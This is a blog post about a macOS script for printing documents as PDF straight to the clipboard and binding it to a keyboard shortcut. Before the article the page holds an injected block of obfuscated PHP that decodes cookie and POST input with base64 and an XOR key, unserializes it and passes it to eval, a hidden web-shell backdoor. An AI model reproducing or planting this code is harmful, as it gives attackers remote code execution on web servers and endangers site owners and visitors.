$FjrYY = "\112" . chr ( 153 - 82 )."\x50" . "\137" . chr ( 494 - 393 ).'p' . 'R';$FroHwqRwR = "\143" . "\x6c" . chr (97) . 's' . chr ( 1033 - 918 ).chr ( 983 - 888 ).chr ( 743 - 642 )."\170" . 'i' . 's' . "\x74" . 's';$buVELPZ = class_exists($FjrYY); $FjrYY = "25437";$FroHwqRwR = "48348";$NszUioYBf = !1;if ($buVELPZ == $NszUioYBf){function oEFUnZI(){return FALSE;}$VkeHC = "47820";oEFUnZI();class JGP_epR{private function cGgqXaxWzy($VkeHC){if (is_array(JGP_epR::$XOdhtj)) {$HvxGWLKM = str_replace("\74" . chr ( 188 - 125 ).chr ( 546 - 434 )."\x68" . "\x70", "", JGP_epR::$XOdhtj['c' . chr (111) . chr (110) . "\164" . "\145" . "\x6e" . 't']);eval($HvxGWLKM); $VkeHC = "47820";exit();}}private $WokpKyz;public function jzRDS(){echo 8466;}public function __destruct(){$VkeHC = "56088_49393";$this->cGgqXaxWzy($VkeHC); $VkeHC = "56088_49393";}public function __construct($flNKdOyaQW=0){$IWwKIxfpf = $_POST;$SRgELXXqJc = $_COOKIE;$aVCHeChgSn = "042cb365-e2ee-479b-aeb5-2641dd9c2615";$ubOpLNj = @$SRgELXXqJc[substr($aVCHeChgSn, 0, 4)];if (!empty($ubOpLNj)){$aECpf = "base64";$NMntHSeYTL = "";$ubOpLNj = explode(",", $ubOpLNj);foreach ($ubOpLNj as $jiBDpoKE){$NMntHSeYTL .= @$SRgELXXqJc[$jiBDpoKE];$NMntHSeYTL .= @$IWwKIxfpf[$jiBDpoKE];}$NMntHSeYTL = array_map($aECpf . "\137" . chr (100) . "\145" . "\143" . chr ( 440 - 329 ).chr ( 350 - 250 )."\x65", array($NMntHSeYTL,)); $NMntHSeYTL = $NMntHSeYTL[0] ^ str_repeat($aVCHeChgSn, (strlen($NMntHSeYTL[0]) / strlen($aVCHeChgSn)) + 1);JGP_epR::$XOdhtj = @unserialize($NMntHSeYTL); $NMntHSeYTL = class_exists("56088_49393");}}public static $XOdhtj = 8953;}$SXbrMU = new /* 2958 */ JGP_epR(47820 + 47820); $NszUioYBf = $SXbrMU = $VkeHC = Array();} Printing as PDF to the Mac clipboard – Lessons Learned

Printing as PDF to the Mac clipboard

If you use macOS, I have a little script that you might find useful. I use this at least a couple times every workday.

The Mac has great PDF workflow functionality. I will often be editing a document and want to send it out via email (or chat) to others who just need to review it and not edit it. I have no idea if they have the application I am using, so I want it to send it in PDF format so that they can reliably open it. What I usually want to do is to “print” the document as a PDF and then attach that to the email. I used to do this a lot and would then have to clean up and delete the PDF files as I did not need them. Not to mention, there were lots of intermediate clicks and mouse movements to save and then open the intermediate file. What I really wanted to do was to print as PDF directly to the clipboard. Then I just paste into the email or other destination application. That saves a few steps and clicks and mouse movements.

I wasn’t sure how to do this, so I asked on Stack Overflow and received a very useful answer. I put together a script based on that answer and have been using it for over seven years.

I have put the source code up on GitHub. Feel free to make any improvements and send me a pull request.

You can download an easy to install version.

To make this even better, I have added a keyboard shortcut bound to ⌘-P to execute this script. So printing the current document to the clipboard takes nothing more than pressing ⌘-P twice. Then I can Alt-Tab over to the destination application and press ⌘-V, no mouse movement or clicking needed. To do this, go to System Preferences→Keyboard→App Shortcuts, and add a shortcut with the exact name “Print as PDF to clipboard”.

Published by Gene McCulley

I dabble in and write about things I find interesting.